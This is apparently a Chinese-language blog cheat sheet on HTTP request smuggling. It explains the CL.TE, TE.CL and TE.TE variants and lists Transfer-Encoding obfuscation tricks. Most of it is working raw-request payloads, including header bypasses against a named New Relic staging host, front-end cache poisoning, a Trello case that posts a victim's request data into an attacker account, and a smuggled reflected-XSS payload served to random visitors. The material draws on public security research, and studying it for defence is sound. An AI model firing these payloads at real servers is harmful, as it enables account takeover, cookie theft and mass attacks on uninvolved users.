流量走私(request-smuggling)

如何执行HTTP请求夹带攻击

请求夹带攻击涉及将Content-Length头和Transfer-Encoding头放入单个HTTP请求并对其进行操作,以便前端和后端服务器以不同方式处理请求。完成此操作的确切方式取决于两台服务器的行为:

  • CL.TE:前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头。
  • TE.CL:前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头。
  • TE.TE:前端和后端服务器都支持Transfer-Encoding标头,但是可以通过以某种方式模糊标头来诱导其中一个服务器不处理它

PAYLOAD

CL.TE

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

TE.CL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: zchunked

96
GET /404 HTTP/1.1
X: x=1&q=smugging&x=
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

x=
0

POST /search HTTP/1.1
Host: example.com

96到0之间就是所夹带的流量,需要在最后的0之后包含尾随序列\r\n\r\n。

前端服务器处理Transfer-Encoding标头,因此将消息体视为使用分块编码。它处理第一个块,长度为96个字节,直到SMUGGLED之后的行的开头。它处理第二个块,它被称为零长度,因此被视为终止请求。此请求将转发到后端服务器。

后端服务器处理Content-Length标头并确定请求主体长度为4个字节,直到96之后的行的开头。以SMUGGLED开头的以下字节未经处理,后端服务器将这些视为序列中下一个请求的开头。

TE.TE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

BYPASS

1.设置X-Forwarded-Proto以解决无法HTTP发送的问题

原payload

1
2
3
4
5
GET / HTTP/1.1
Host: staging-alerts.newrelic.com

HTTP/1.1 301 Moved Permanently
Location: https://staging-alerts.newrelic.com/

修改后

1
2
3
4
5
6
7
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https

HTTP/1.1 404 Not Found

Action Controller: Exception caught

2.设置X-nr-external-service授权标头

原payload

1
2
3
4
5
6
7
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https

HTTP/1.1 200 OK

Not authorized with header:

修改后

1
2
3
4
5
6
7
8
9
...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
X-nr-external-service: 1

HTTP/1.1 403 Forbidden

Forbidden

案例

前端缓存漏洞

在流量大的网站,构造流量夹带payload,写脚本发送,此时网站会被缓存到服务器上。

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Transfer-Encoding: zchunked

11
=x&q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: bPOST /search HTTP/1.1
Host: example.com

窃取任何身份验证Cookie

这是一个TE.CL漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /1/cards HTTP/1.1
Host: trello.com
Transfer-Encoding:[tab]chunked
Content-Length: 4

9f
PUT /1/members/1234 HTTP/1.1
Host: trello.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

x=x&csrf=1234&username=testzzz&bio=cake
0

GET / HTTP/1.1
Host: trello.com

这里将members/1234的数据post到了testzzz账号中

XSS

在审核SaaS应用程序时,Param Miner发现了一个名为SAML的参数,而Burp的扫描仪确认它很容易受到反射XSS的攻击。Reflected XSS本身很不错,但是由于需要用户交互,因此难以大规模利用。

借助请求走私,我们可以向包含XSS的响应提供服务,以向积极浏览网站的随机人员提供服务,从而实现直接的大规模利用。我们还可以访问身份验证标头和仅HTTP cookie,从而可能使我们转向其他域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST / HTTP/1.1
Host: saas-app.com
Content-Length: 4
Transfer-Encoding : chunked

10
=x&cr={creative}&x=
66
POST /index.php HTTP/1.1
Host: saas-app.com
Content-Length: 200

SAML=a"><script>alert(1)</script>POST / HTTP/1.1
Host: saas-app.com
Cookie: …

HTTP/1.1 200 OK

<input name="SAML" value="a"><script>alert(1)</script>
0

POST / HTTP/1.1
Host: saas-app.com
Cookie: …
"/>

参考:

https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn

https://portswigger.net/web-security/request-smuggling

https://github.com/PortSwigger/turbo-intruder

https://medium.com/@cc1h2e1/write-up-of-two-http-requests-smuggling-ff211656fe7d

-------------本文结束感谢您的阅读-------------